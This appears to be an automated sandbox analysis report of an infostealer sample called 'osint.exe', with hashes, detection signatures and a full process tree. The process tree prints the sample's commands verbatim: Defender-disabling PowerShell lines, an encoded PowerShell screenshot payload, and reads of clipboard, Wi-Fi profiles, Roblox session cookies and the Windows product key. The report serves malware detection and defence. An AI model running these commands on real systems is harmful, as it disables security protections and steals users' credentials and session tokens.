Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    36s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/07/2024, 15:56

General

  • Target

    osint.exe

  • Size

    8.6MB

  • MD5

    3818e1b208a5e2b87e33605401d51bf7

  • SHA1

    fb6654fef194c15fde955384288c5fe26652d4c7

  • SHA256

    c1da27820a0d014e035568229fd2fcf60d0b55f09082a3a31d8c1f2ef244a48a

  • SHA512

    a39e5a6c6573dfc3134f9b0dff01b3617f0b626bd7a3873888f73c32674e0d87d9d4a9a7eded4ff6e08e6e1714ea580aa7b12a44ffeef79014e044cd1f6b90bd

  • SSDEEP

    196608:qnp//E8pA1HeT39Iigw7vKub75bcjWgb66e7GJzfoAkj2zWlRYW:f8C1+TtIiF7vB5IjWq66eCzmSW

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 4 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\osint.exe
    "C:\Users\Admin\AppData\Local\Temp\osint.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4820
    • C:\Users\Admin\AppData\Local\Temp\osint.exe
      "C:\Users\Admin\AppData\Local\Temp\osint.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4460
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\osint.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\osint.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:208
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:228
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3816
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2636
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4792
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:916
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:4072
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3992
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:1788
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4552
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:4276
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2384
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:4904
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1300
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:2316
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4764
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:3132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3944
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              4⤵
                PID:3548
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5104
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Get-Clipboard
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3044
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2232
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4348
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2740
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:4492
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4356
                • C:\Windows\system32\netsh.exe
                  netsh wlan show profile
                  4⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4000
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "systeminfo"
                3⤵
                  PID:376
                  • C:\Windows\system32\systeminfo.exe
                    systeminfo
                    4⤵
                    • Gathers system information
                    PID:1204
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                  3⤵
                    PID:860
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2372
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sjvbywzl\sjvbywzl.cmdline"
                        5⤵
                          PID:5040
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE781.tmp" "c:\Users\Admin\AppData\Local\Temp\sjvbywzl\CSC4D324DC41D4DA1AB99C11ABF649128.TMP"
                            6⤵
                              PID:3304
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        3⤵
                          PID:388
                          • C:\Windows\system32\tree.com
                            tree /A /F
                            4⤵
                              PID:2952
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:208
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:1288
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:2788
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:2320
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:1244
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:3992
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                        3⤵
                                          PID:2248
                                          • C:\Windows\system32\tree.com
                                            tree /A /F
                                            4⤵
                                              PID:1128
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                            3⤵
                                              PID:2640
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                4⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4752
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                              3⤵
                                                PID:5068
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                  4⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3048
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "getmac"
                                                3⤵
                                                  PID:3136
                                                  • C:\Windows\system32\getmac.exe
                                                    getmac
                                                    4⤵
                                                      PID:5104
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                    3⤵
                                                      PID:3700
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic os get Caption
                                                        4⤵
                                                          PID:3472
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                        3⤵
                                                          PID:3396
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic computersystem get totalphysicalmemory
                                                            4⤵
                                                              PID:1316
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                            3⤵
                                                              PID:1980
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic csproduct get uuid
                                                                4⤵
                                                                  PID:1420
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                3⤵
                                                                  PID:4560
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:2432
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                  3⤵
                                                                    PID:2104
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic path win32_VideoController get name
                                                                      4⤵
                                                                      • Detects videocard installed
                                                                      PID:4328
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                    3⤵
                                                                      PID:5100
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                        4⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:3364

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

                                                                  64B

                                                                  MD5

                                                                  0e0266e9b8595afad38e3aeeb7ac9e79

                                                                  SHA1

                                                                  d7f76538c8f2b58b6815fe7f4d3038d4d920a45f

                                                                  SHA256

                                                                  27bc56e8dd548d29e61b6b8654730b0b30f8d96c7f37ef5c204d4100ee297d43

                                                                  SHA512

                                                                  f6e294475d8c96792311bfc8b452a89ca7fb8fdcb127b04e773172f7df0d4e15b30bbd60c9cd6311e442d74a140411c860439afaaa968f05922c73599a0695a4

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  32cfc9df4eff34435151b23c447df507

                                                                  SHA1

                                                                  1600c010e8d14d93035686062762de2cc52c4298

                                                                  SHA256

                                                                  6018cda218a92380a07d543af29bce16e6e187bbc1a3794544a9efb99b00913b

                                                                  SHA512

                                                                  8b5a82359fb2a131298edb051d8a47699cc4414d247a0ae55de8c3dd7d119c9a535a2903ea7dc4cc6c631be2221950cef2f8a1e97b30ba8346653656e2c09021

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

                                                                  1KB

                                                                  MD5

                                                                  548dd08570d121a65e82abb7171cae1c

                                                                  SHA1

                                                                  1a1b5084b3a78f3acd0d811cc79dbcac121217ab

                                                                  SHA256

                                                                  cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

                                                                  SHA512

                                                                  37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                  Filesize

